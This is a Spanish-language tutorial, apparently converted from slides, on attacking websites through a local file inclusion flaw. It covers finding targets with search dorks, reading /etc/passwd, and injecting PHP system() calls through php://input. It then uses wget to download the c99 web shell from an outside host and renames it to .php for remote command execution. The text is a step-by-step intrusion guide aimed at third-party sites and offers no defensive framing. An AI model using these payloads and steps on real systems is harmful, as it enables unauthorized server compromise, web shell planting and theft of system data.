Este documento describe cómo explotar una vulnerabilidad de inclusión de archivos locales (LFI) mediante la inyección de código PHP en la entrada ("php: // input") de un sitio vulnerable para descargar e instalar una shell remota que permita la ejecución de comandos en el servidor.
2. Tutorial, el cual consiste en subir una SHELL explotando la vulnerabilidad LFI vía
"php:input" , solo basta con inyectar algunos códigos para obtener la misma.
Que es el LFI?
Es una falla en la programación de una aplicación; falla mediante la cual se
pueden incluir archivos que se encuentren en el servidor como por ejemplo el
/etc/passwd o algún otro archivo de configuración que nos provea de información
para atacar el sitio.
3. Ahora bien, empecemos...
Algunos de los sitios webs vulnerables a LFI, tienen este aspecto:
www.sitio-web.com/index.php?page=
www.sitio-web.com/index.php?file=
4. Recordemos que podemos apoyarnos de los google dorks que se encuentran en
la siguiente página:
6. Ahora bien... para comprobar si realmente el sitio
web es vulnerable a LFI, tenemos que ver si la web
puede leer el "etc/passwd" cosa que el sitio web
quedaría de la siguiente forma:
www.sitio-web.com/index.php?page=/etc/passwd
7. Si el sitio web puede leer dicho código, la web quedaría así:
11. Primero
Cargamos la url vulnerable al HackBar e inyectamos el php://input la cual
quedaría así:
www.sitio-web.com/index.php?page=php://input
Habilitamos el "Enable Post data" y colocamos el siguiente comando:
<? system('uname -a'); ?>
13. Otros comandos:
Lista de directorios
<? system ('ls'); ?>
Identificación
<? system ('id'); ?>
Convertir el formato
<? system ('mv file.txt file.php'); ?>
Descargar
<? system ('wget'); ?>
14. Ahora, vamos a utilizar el comando <? system ('wget'); ?> para descargar alguna
shell en el sitio.
Utilizaremos esta shell en .txt: http://www.sh3ll.org/c99.txt
<? system ('wget http://www.sh3ll.org/c99.txt'); ?>
16. Ahora, comprobaremos si la shell se descargo perfectamente, ejecutando el
siguiente comando:
<? system ('ls'); ?>
Si la shell, se descargo perfectamente, en este caso lo veremos como c99.txt, como
se muestra a continuación
18. Ahora, como ya sabemos que nuestra shell se ejecuto perfectamente, tenemos
que cambiarle el formato a .php para poder ingresar a la misma desde el
navegador, solo basta con colocar el siguiente comando:
<? system ('mv c99.txt tensor.php'); ?>
21. Ahora, en este caso nos dirigimos a www.sitio-web.com/tensor.php
Listo tenemos nuestra shell!!